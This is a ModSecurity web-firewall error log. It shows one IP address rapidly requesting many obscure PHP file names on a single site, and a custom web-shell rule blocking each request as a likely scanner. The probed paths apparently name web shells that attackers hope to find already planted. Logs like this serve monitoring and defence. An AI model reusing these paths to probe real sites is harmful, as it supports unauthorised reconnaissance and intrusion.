[Sat Apr 11 04:24:26.393754 2026] [:error] [pid 33171:tid 33206] [client 51.107.88.105:33132] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Spow_SRw.php"] [unique_id "adlceroqTMlo30hcVw8p6gAAABQ"]
[Sat Apr 11 04:24:26.865139 2026] [:error] [pid 33171:tid 33194] [client 51.107.88.105:33620] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Spow_SRw.php"] [unique_id "adlceroqTMlo30hcVw8p8AAAAAg"]
[Sat Apr 11 04:24:27.338804 2026] [:error] [pid 33288:tid 33309] [client 51.107.88.105:22467] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Spow_SRw.php"] [unique_id "adlce2JmwJFFPEgRHfHXoQAAANM"]
[Sat Apr 11 04:24:27.810528 2026] [:error] [pid 33288:tid 33302] [client 51.107.88.105:33120] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Spow_SRw.php"] [unique_id "adlce2JmwJFFPEgRHfHXpAAAAMw"]
[Sat Apr 11 04:24:28.289383 2026] [:error] [pid 33288:tid 33295] [client 51.107.88.105:33643] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albrt.php"] [unique_id "adlcfGJmwJFFPEgRHfHXqAAAAMU"]
[Sat Apr 11 04:24:28.763078 2026] [:error] [pid 33288:tid 33293] [client 51.107.88.105:33142] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albrt.php"] [unique_id "adlcfGJmwJFFPEgRHfHXrQAAAMM"]
[Sat Apr 11 04:24:29.245336 2026] [:error] [pid 33288:tid 33295] [client 51.107.88.105:33090] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albrt.php"] [unique_id "adlcfWJmwJFFPEgRHfHXswAAAMU"]
[Sat Apr 11 04:24:29.726637 2026] [:error] [pid 33173:tid 33251] [client 51.107.88.105:33113] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albrt.php"] [unique_id "adlcfa8109xRDP2izWiOYwAAAIY"]
[Sat Apr 11 04:24:30.231251 2026] [:error] [pid 33173:tid 33262] [client 51.107.88.105:33146] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxivicLhot.php"] [unique_id "adlcfq8109xRDP2izWiOZgAAAJE"]
[Sat Apr 11 04:24:30.708524 2026] [:error] [pid 33173:tid 33255] [client 51.107.88.105:22081] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxivicLhot.php"] [unique_id "adlcfq8109xRDP2izWiObAAAAIo"]
[Sat Apr 11 04:24:31.175721 2026] [:error] [pid 33171:tid 33187] [client 51.107.88.105:33111] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxivicLhot.php"] [unique_id "adlcf7oqTMlo30hcVw8p9wAAAAE"]
[Sat Apr 11 04:24:31.657359 2026] [:error] [pid 33171:tid 33200] [client 51.107.88.105:33110] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxivicLhot.php"] [unique_id "adlcf7oqTMlo30hcVw8p-wAAAA4"]
[Sat Apr 11 04:24:32.122395 2026] [:error] [pid 33288:tid 33310] [client 51.107.88.105:22090] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "adlcgGJmwJFFPEgRHfHXwwAAANQ"]
[Sat Apr 11 04:24:32.596648 2026] [:error] [pid 33288:tid 33304] [client 51.107.88.105:33663] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "adlcgGJmwJFFPEgRHfHXxgAAAM4"]
[Sat Apr 11 04:24:33.081003 2026] [:error] [pid 33172:tid 33219] [client 51.107.88.105:33130] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "adlcgTn2G0IJw5EZY9kBWwAAAEE"]
[Sat Apr 11 04:24:33.562221 2026] [:error] [pid 33172:tid 33236] [client 51.107.88.105:22501] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "adlcgTn2G0IJw5EZY9kBXgAAAFI"]
[Sat Apr 11 04:24:34.100779 2026] [:error] [pid 33172:tid 33218] [client 51.107.88.105:22498] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "adlcgjn2G0IJw5EZY9kBYQAAAEA"]
[Sat Apr 11 04:24:34.598199 2026] [:error] [pid 33288:tid 33313] [client 51.107.88.105:33102] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "adlcgmJmwJFFPEgRHfHX0QAAANc"]
[Sat Apr 11 04:24:35.073237 2026] [:error] [pid 33172:tid 33231] [client 51.107.88.105:22488] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "adlcgzn2G0IJw5EZY9kBZAAAAE0"]
[Sat Apr 11 04:24:35.581273 2026] [:error] [pid 33173:tid 33262] [client 51.107.88.105:33651] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "adlcg68109xRDP2izWiOlgAAAJE"]
[Sat Apr 11 04:24:36.050897 2026] [:error] [pid 33172:tid 33230] [client 51.107.88.105:33102] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "adlchDn2G0IJw5EZY9kBaQAAAEw"]
[Sat Apr 11 04:24:36.526295 2026] [:error] [pid 33288:tid 33300] [client 51.107.88.105:33642] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "adlchGJmwJFFPEgRHfHX2wAAAMo"]
[Sat Apr 11 04:24:37.000236 2026] [:error] [pid 33172:tid 33224] [client 51.107.88.105:33645] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "adlchDn2G0IJw5EZY9kBcQAAAEY"]
[Sat Apr 11 04:24:37.506724 2026] [:error] [pid 33172:tid 33229] [client 51.107.88.105:33137] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "adlchTn2G0IJw5EZY9kBdQAAAEs"]
[Sat Apr 11 04:24:38.003504 2026] [:error] [pid 33288:tid 33304] [client 51.107.88.105:33600] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "adlchmJmwJFFPEgRHfHX5gAAAM4"]
[Sat Apr 11 04:24:38.470074 2026] [:error] [pid 33173:tid 33246] [client 51.107.88.105:33134] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "adlchq8109xRDP2izWiOqwAAAIE"]
[Sat Apr 11 04:24:38.959071 2026] [:error] [pid 33288:tid 33300] [client 51.107.88.105:33144] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "adlchmJmwJFFPEgRHfHX7wAAAMo"]
[Sat Apr 11 04:24:39.436399 2026] [:error] [pid 33288:tid 33297] [client 51.107.88.105:33092] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "adlch2JmwJFFPEgRHfHX9AAAAMc"]
[Sat Apr 11 04:24:41.168885 2026] [:error] [pid 33172:tid 33231] [client 51.107.88.105:22526] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adlciTn2G0IJw5EZY9kBggAAAE0"]
[Sat Apr 11 04:24:41.680961 2026] [:error] [pid 33173:tid 33245] [client 51.107.88.105:22479] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adlcia8109xRDP2izWiOwgAAAIA"]
[Sat Apr 11 04:24:42.156858 2026] [:error] [pid 33171:tid 33190] [client 51.107.88.105:22490] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adlciroqTMlo30hcVw8qCwAAAAQ"]
[Sat Apr 11 04:24:42.626739 2026] [:error] [pid 33171:tid 33193] [client 51.107.88.105:22086] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adlciroqTMlo30hcVw8qDwAAAAc"]
[Sat Apr 11 04:24:43.099302 2026] [:error] [pid 33173:tid 33264] [client 51.107.88.105:33129] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyflv.php"] [unique_id "adlci68109xRDP2izWiOzQAAAJM"]
[Sat Apr 11 04:24:43.567393 2026] [:error] [pid 33173:tid 33245] [client 51.107.88.105:22124] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyflv.php"] [unique_id "adlci68109xRDP2izWiO0AAAAIA"]
[Sat Apr 11 04:24:44.060060 2026] [:error] [pid 33173:tid 33269] [client 51.107.88.105:33632] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyflv.php"] [unique_id "adlcjK8109xRDP2izWiO1QAAAJg"]
[Sat Apr 11 04:24:44.553954 2026] [:error] [pid 33171:tid 33205] [client 51.107.88.105:22468] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyflv.php"] [unique_id "adlcjLoqTMlo30hcVw8qFQAAABM"]
[Sat Apr 11 04:24:45.060486 2026] [:error] [pid 33172:tid 33222] [client 51.107.88.105:11202] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-942.php"] [unique_id "adlcjTn2G0IJw5EZY9kBmwAAAEQ"]
[Sat Apr 11 04:24:45.633073 2026] [:error] [pid 33171:tid 33188] [client 51.107.88.105:33605] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-942.php"] [unique_id "adlcjboqTMlo30hcVw8qGQAAAAI"]
[Sat Apr 11 04:24:46.103650 2026] [:error] [pid 33171:tid 33201] [client 51.107.88.105:33145] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-942.php"] [unique_id "adlcjroqTMlo30hcVw8qGwAAAA8"]
[Sat Apr 11 04:24:46.581451 2026] [:error] [pid 33172:tid 33232] [client 51.107.88.105:22503] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-942.php"] [unique_id "adlcjjn2G0IJw5EZY9kBogAAAE4"]
[Sat Apr 11 04:24:47.049328 2026] [:error] [pid 33288:tid 33291] [client 51.107.88.105:33099] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sde.php"] [unique_id "adlcj2JmwJFFPEgRHfHYKQAAAME"]
[Sat Apr 11 04:24:47.525296 2026] [:error] [pid 33173:tid 33257] [client 51.107.88.105:33089] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sde.php"] [unique_id "adlcj68109xRDP2izWiO8AAAAIw"]
[Sat Apr 11 04:24:48.036602 2026] [:error] [pid 33173:tid 33254] [client 51.107.88.105:22522] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sde.php"] [unique_id "adlckK8109xRDP2izWiO-QAAAIk"]
[Sat Apr 11 04:24:48.511023 2026] [:error] [pid 33172:tid 33229] [client 51.107.88.105:22084] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sde.php"] [unique_id "adlckDn2G0IJw5EZY9kBqgAAAEs"]
[Sat Apr 11 04:24:49.002165 2026] [:error] [pid 33172:tid 33224] [client 51.107.88.105:33644] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpb.php"] [unique_id "adlckTn2G0IJw5EZY9kBrgAAAEY"]
[Sat Apr 11 04:24:49.472417 2026] [:error] [pid 33288:tid 33306] [client 51.107.88.105:33138] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpb.php"] [unique_id "adlckWJmwJFFPEgRHfHYNwAAANA"]
[Sat Apr 11 04:24:49.947213 2026] [:error] [pid 33288:tid 33300] [client 51.107.88.105:33633] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpb.php"] [unique_id "adlckWJmwJFFPEgRHfHYOQAAAMo"]
[Sat Apr 11 04:24:50.415305 2026] [:error] [pid 33173:tid 33263] [client 51.107.88.105:33136] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpb.php"] [unique_id "adlckq8109xRDP2izWiPDgAAAJI"]
[Sat Apr 11 04:24:50.886018 2026] [:error] [pid 33173:tid 33258] [client 51.107.88.105:33623] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "adlckq8109xRDP2izWiPFgAAAI0"]
[Sat Apr 11 04:24:58.830291 2026] [:error] [pid 33173:tid 33255] [client 51.107.88.105:11220] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlcmq8109xRDP2izWiPbwAAAIo"]
[Sat Apr 11 04:24:59.297950 2026] [:error] [pid 33173:tid 33267] [client 51.107.88.105:33118] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlcm68109xRDP2izWiPcgAAAJY"]
[Sat Apr 11 04:24:59.775064 2026] [:error] [pid 33288:tid 33293] [client 51.107.88.105:33641] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlcm2JmwJFFPEgRHfHYbAAAAMM"]
[Sat Apr 11 04:25:00.249620 2026] [:error] [pid 33173:tid 33252] [client 51.107.88.105:33626] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlcnK8109xRDP2izWiPeAAAAIc"]
[Sat Apr 11 04:25:00.723253 2026] [:error] [pid 33171:tid 33207] [client 51.107.88.105:22520] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlcnLoqTMlo30hcVw8qTQAAABU"]
[Sat Apr 11 04:25:01.193364 2026] [:error] [pid 33172:tid 33236] [client 51.107.88.105:22482] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlcnTn2G0IJw5EZY9kB2AAAAFI"]
[Sat Apr 11 04:25:01.693068 2026] [:error] [pid 33172:tid 33232] [client 51.107.88.105:22527] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlcnTn2G0IJw5EZY9kB3AAAAE4"]
